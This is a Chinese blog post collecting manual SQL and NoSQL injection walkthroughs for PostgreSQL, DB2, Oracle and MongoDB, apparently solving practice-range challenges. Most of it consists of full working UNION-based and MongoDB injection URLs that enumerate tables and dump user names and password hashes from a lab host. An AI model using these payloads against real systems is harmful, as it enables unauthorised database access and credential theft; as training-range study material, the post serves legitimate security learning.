不同数据库的SQL注入不同手工注入方法的汇总

不同数据库的注入方式

以下资源部分为自己的理解,部分为墨者上面的解题思路,此处做的是汇总,由于不知墨者大佬的出处,故无法做出转载地址,所以此文归类为转载,若是墨者大佬在这里看到了属于你的文章,觉得我发不太好请及时联系我,我好做删除处理

Mysql手工注入

大家可以去看一下博客,有很详细的讲解如何进行sql注入
https://blog.csdn.net/weixin_48421613/article/details/107488560
https://blog.csdn.net/weixin_48421613/article/details/107491562
https://blog.csdn.net/weixin_48421613/article/details/108298670

PostgreSQL数据库注入

PostgreSQL与mysql基本类似主要思路
一、确定数据库版本决定注入的方式
由于PostgreSQL与mysql5.0以上版本都有snformation_schema 数据库 所以 数据库的表名、列名等信息都在information_schema 中存储只需要按照步骤一步一步的获取需要的信息即可
二、获取表名(由于存储方式的不同用不到数据库名字所以不必获取在mysql中需要获取)
这里需要注意的是表名不只有一个因此要在union select null,relname,null,null from pg_stat_user_tables 后加上limit 1 offset 1 查询到所有的表名其中锁定的是reg_users
三、利用上一步获得的表名(reg_users)在information_schema中查询该表所有的列名
在information_schema中的column_name 列中存储了所有的 所有的数据库表列名 利用如下命令:
union select null,null,column_name,null from information_schema.columns where table_name=% reg_users% limit 1 offset 1
可以查出在information_schema.columns表 中 table_name列的值等于reg_users时column_name列的值命令最后一个数字从0 一直加1 到4的时候报错 说明共有4个值
至此获得了 reg_users 中的所有列名 锁定 其中的name password
四、通过上一步获得列名在表中获取对应的值
使用注入命令为union select null,name,password,null from reg_users
为防止reg_users表中的列有多个值 可在注入命令后加上 limit 1 offset 1(最后一个数字从0向上递增直到报错为止就查出了所有的值 )
最终获得两组name 和password

1.通过公告进入页面
在这里插入图片描述2.获取当前库名
http://219.153.49.228:46939/new_list.php?id=-1+union++select+%271%27,current_database(),%273%27,%274%27–±
在这里插入图片描述3.利用PG_STATIO_USER_TABLES表,该表统计当前使用情况统计信息
字段信息如下,我们用到其中的relname
在这里插入图片描述SQL查询语句中的 limit 与 offset 的区别:

limit y 分句表示: 读取 y 条数据

limit x, y 分句表示: 跳过 x 条数据,读取 y 条数据

limit y offset x 分句表示: 跳过 x 条数据,读取 y 条数据

http://219.153.49.228:46939/new_list.php?id=-1+union++select+%271%27,relname,%273%27,%274%27+from+PG_STATIO_USER_TABLES+limit+1%20offset%201–±
在这里插入图片描述4.获取字段名
http://219.153.49.228:46939/new_list.php?id=-1+union+select+%271%27,column_name,%273%27,%274%27+from+information_schema.columns+where+table_name=%27reg_users%27+limit%201%20offset%201

在这里插入图片描述http://219.153.49.228:46939/new_list.php?id=-1+union+select+%271%27,column_name,%273%27,%274%27+from+information_schema.columns+where+table_name=%27reg_users%27+limit%201%20offset%200
在这里插入图片描述5.爆数据
http://219.153.49.228:46939/new_list.php?id=-1+union+select+%271%27,name,%273%27,%274%27+from+reg_users+limit%201%20offset%200
在这里插入图片描述http://219.153.49.228:46939/new_list.php?id=-1+union+select+%271%27,password,%273%27,%274%27+from+reg_users+limit%201%20offset%200
在这里插入图片描述或者:
http://219.153.49.228:46939/new_list.php?id=-1+union+select+’1’,name||’::’||password,’3’,’4’+from+reg_users
在这里插入图片描述http://219.153.49.228:46939/new_list.php?id=-1 union select null,‘null’,‘用户名:’||name||’,密码:’||password||’,状态:’||status||’,id:’||id,null from reg_users
在这里插入图片描述此处部分出处为—》》》https://blog.csdn.net/qq_39936434/article/details/95189515 感谢大佬 “吃肉唐僧

DB2数据库手工注入

id=-1 ;id =1 and 1=2 判断注入点
order by 4
union select 1,2,3,4 from sysibm.systables 语法需要sysibm.systables:系统为每一个表,视图和别名在该表中创建一行记录。 猜注入位置
注释:DB2后面要跟上存在的表,只要存在就可以,系统表随便来一张
①爆当前库名
union select 1,current schema,3,4 from sysibm.sysdummy1 (可忽略)
SYSIBM.SYSDUMMY1表是一个内存的特殊表(按照Oracle的术语,习惯称之为“伪表”),常用于访问DB2中的寄存器,从而返回特定需要内容,类同于临时表,可以用来返回当前实时信息

limit爆破表名
union select 1,tabname,3,4 from syscat.tables where tabschema =current schema limit 0,1
注释:syscat.tables:记录表名的信息
limit爆列:
union select 1,column_name,3,4 from sysibm.columns where table_schema = current schema and table_name =‘GAME_CHARACTER’ limit 0,4
sysibm.columns:记录列名的信息

limit爆数据。。。
union select 1,name,password,4 from GAME_CHARACTER limit 0,1 --limit 1,1为正确用户和密文

以上为墨者解题思路
以下为实践部分以及逐步分解
1.爆字段位置
http://219.153.49.228:43090/new_list.php?id=-1+union+select+1,2,3,4%20from%20sysibm.sysdummy1–%20-
在这里插入图片描述2.爆当前库
http://219.153.49.228:43090/new_list.php?id=-1%20union%20select%201,2,current%20schema,4%20from%20sysibm.sysdummy1
在这里插入图片描述3.爆当前库的表
http://219.153.49.228:43090/new_list.php?id=-1%20union%20select%201,tabname,3,4%20from%20syscat.tables%20where%20tabschema%20=current%20schema%20limit%200,1
在这里插入图片描述4.爆字段
http://219.153.49.228:43090/new_list.php?id=-1%20union%20select%201,column_name,3,4%20from%20sysibm.columns%20where%20table_schema%20=%20current%20schema%20and%20table_name%20=%27GAME_CHARACTER%27%20limit%200,4
在这里插入图片描述5.爆数据
http://219.153.49.228:43090/new_list.php?id=-1%20union%20select%201,name,password,4%20from%20GAME_CHARACTER%20limit%200,1%20–limit%201,1

在这里插入图片描述由于此处解题思路为墨者上面大佬写的,导致我没有找到人家的博客地址,没有办法写出处了,抱歉了各位

Oracle 数据库

http://219.153.49.228:41405/new_list.php?id=1 order by 2 判断字段数

http://219.153.49.228:41405/new_list.php?id=-1 union select ‘null’,‘null’ from dual 判断回显位及其类型,oracle中select必跟from,其中dual为其自带虚拟表

http://219.153.49.228:41405/new_list.php?id=-1 union select ‘null’,(select table_name from user_tables where rownum=1 and table_name like ‘%user%’) from dual 找出第一个用户创建的表中表名含有user的表名

http://219.153.49.228:41405/new_list.php?id=-1 union select ‘null’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’) from dual 找出sns_user表中第一列列名

http://219.153.49.228:41405/new_list.php?id=-1 union select ‘null’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name <>‘USER_NAME’) from dual 找出sns_user表中第二列列名

http://219.153.49.228:41405/new_list.php?id=-1 union select USER_NAME,USER_PWD from “sns_users”
查出sns_users表中第一行数据,md5解码后发现不对

http://219.153.49.228:41405/new_list.php?id=-1 union select USER_NAME,USER_PWD from “sns_users” where USER_NAME <> ‘hu’ 查出第二行数据,解码后登录后台
方法二:
判断列数

http://219.153.49.228:49225/new_list.php?id=1 order by 2, 页面有回显

http://219.153.49.228:49225/new_list.php?id=1 order by 3,页面无回显

在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
联合注入
http://219.153.49.228:49225/new_list.php?id=1 union select ‘1’,‘2’ from dual – +

获取当前用户
http://219.153.49.228:49225/new_list.php?id=1 union select (select sys_context(‘userenv’,‘current_user’) from dual),null from dual – +

用户是:SYSTEM

获取当前数据库版本
http://219.153.49.228:49225/new_list.php?id=1 union select (select banner from sys.v_$version where rownum=1),null from dual – +

数据库版本是:Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

like匹配相关表,获取表
http://219.153.49.228:49225/new_list.php?id=1 union select (select table_name from all_tables where rownum=1 and table_name like ‘%user%’),null from dual – +

获取到相关表 sns_users

获取表中列
http://219.153.49.228:49225/new_list.php?id=1 union select (select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’),null from dual – +

USER_NAME

http://219.153.49.228:49225/new_list.php?id=1 union select (select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name not in(‘USER_NAME’)),null from dual – +

USER_PWD

http://219.153.49.228:49225/new_list.php?id=1 union select (select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name not in(‘USER_NAME’,‘USER_PWD’)),null from dual – +

STATUS

sns_users表中有USER_NAME,USER_PWD,STATUS 三列

继续注入列信息,这里有两个回显点

http://219.153.49.228:49225/new_list.php?id=1 union select USER_NAME,USER_PWD from “sns_users” – +

hu
1c63129ae9db9g20asdua94d3e00495

设置where条件,过滤第一条hu行
http://219.153.49.228:49225/new_list.php?id=1 union select USER_NAME,USER_PWD from “sns_users” where USER_NAME <> ‘hu’ – +

mozhe
50c8db3b8ec5551c5d67e079b5da34cc

继续过滤mozhe
http://219.153.49.228:49225/new_list.php?id=1 union select USER_NAME,USER_PWD from “sns_users” where USER_NAME <> ‘hu’ and USER_NAME <> ‘mozhe’ – +

zhong
1c63129ae9asc60asdua94d3e00495

无回显了
http://219.153.49.228:49225/new_list.php?id=1 union select USER_NAME,USER_PWD from “sns_users” where USER_NAME <> ‘hu’ and USER_NAME <> ‘mozhe’ and USER_NAME <> ‘zhong’ – +

解MD5

方法三:
墨者靶场 orical数据库sql注入第一步:确定注入点

这个位置点进去,刚好发现url 然后 and 1=2 试试看
第二步:确定数据库类型
排除法:使用orcale 特有的语句:select count() from dual
只能查出来一条语句,所以:(select count(
) from dual)=1
如果成立,则存在注入点:
第三步:确定字段数(order by)
使用order by来确定字段数
http://219.153.49.228:41164/new_list.php?id=1 order by 2
如果正确则返回正常,如果不正确则返回错误
第四步:确定参数类型
使用联合查询来确定类型(需先确定字段数)
http://219.153.49.228:41164/new_list.php?id=1 union select ‘1’,‘2’ from dual
http://219.153.49.228:41164/new_list.php?id=1 union select ‘1’,‘2’ from dual

返回正常,则可以确定是字符串类型
第五步:获取数据库名称

http://219.153.49.228:41164/new_list.php?id=1 union select (SELECT instance_name FROM V$INSTANCE),‘2’ from dual

第六步:获取表名
因为一次只能显示一条数据,所以需要加上:where rownum=1
SELECT table_name FROM all_tables
显示出来的明显跟我们需要的不符,所以再加上个条件语句:table_name like ‘%user%’
http://219.153.49.228:41164/new_list.php?id=1 union select (SELECT table_name FROM all_tables where rownum=1 and table_name like ‘%user%’),‘我去你妈’ from dual

第七步:确定列名
因为一次只能显示一条数据,所以需要加上:where rownum=1
SELECT column_name FROM all_tab_columns WHERE table_name = ‘sns_users’ and rownum=1
这是查询一条,可以直接合并一下
http://219.153.49.228:41164/new_list.php?id=1 union select (SELECT column_name FROM all_tab_columns WHERE table_name = ‘sns_users’ and rownum=1),(SELECT column_name FROM all_tab_columns WHERE table_name = ‘sns_users’ and rownum=1 and column_name <> ‘USER_NAME’) from dual

第八步:确定内容
双引号:关键字,对象名、字段名加双引号,则示意 Oracle将严格区 分大小写,否则Oracl都默认大写。
因为orcale数据库区分单引号,所以查询语句应该是:UNION SELECT USER_NAME,USER_PWD from “sns_users”

登录一下试试看:
好的,md5无法解密,试试看还有没有其他的表
加个条件判断
SELECT USER_NAME,USER_PWD from “sns_users” where USER_NAME <> ‘hu’

再去解密试试看
OK,解密成功,登录一下
好的,到此,ORCALE SQL 注入靶场搞定

此处依然全部为墨者大佬提供的解题思路,若是有侵权请联系我及时删除

Mongodb数据库

Mongodb数据库是以json数据格式传输
解题思路:
根据提示发现其查询数据库的语句,该应用使用的时execute函数就行sql语句查询

获取回显数字
id=1’}); return ({title:1,content:'2
设置title和content的值,因为从下面的代码可以获得,这两个字段为数据库返回的字段

爆出数据库
id=1’}); return ({title:tojson(db),content:‘2
tojson函数是为了将db查到的内容转化为json格式
爆出表名
id=1’}); return ({title:tojson(db.getCollectionNames()),content:‘2
爆出列名和数据
id=1’}); return ({title:tojson(db.Authority_confidential.find()[0]),content:‘1
find()函数为查询函数,为空时默认查出所有的数据,[0]表示第一条数据
第二条数据
id=1’}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1

在这里插入图片描述1.爆字段
http://219.153.49.228:42585/new_list.php?id=1%27});return%20({title:1,content:%272
在这里插入图片描述2.爆库
http://219.153.49.228:42585/new_list.php?id=1%27});%20return%20({title:tojson(db),content:%272
在这里插入图片描述3.爆表
http://219.153.49.228:42585/new_list.php?id=1%27});%20return%20({title:tojson(db.getCollectionNames()),content:%272
在这里插入图片描述4.爆字段以及数据
http://219.153.49.228:42585/new_list.php?id=1%27});%20return%20({title:tojson(db.Authority_confidential.find()[0]),content:%271
在这里插入图片描述
http://219.153.49.228:42585/new_list.php?id=1%27});%20return%20({title:tojson(db.Authority_confidential.find()[1]),content:%271
在这里插入图片描述

  • 1
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值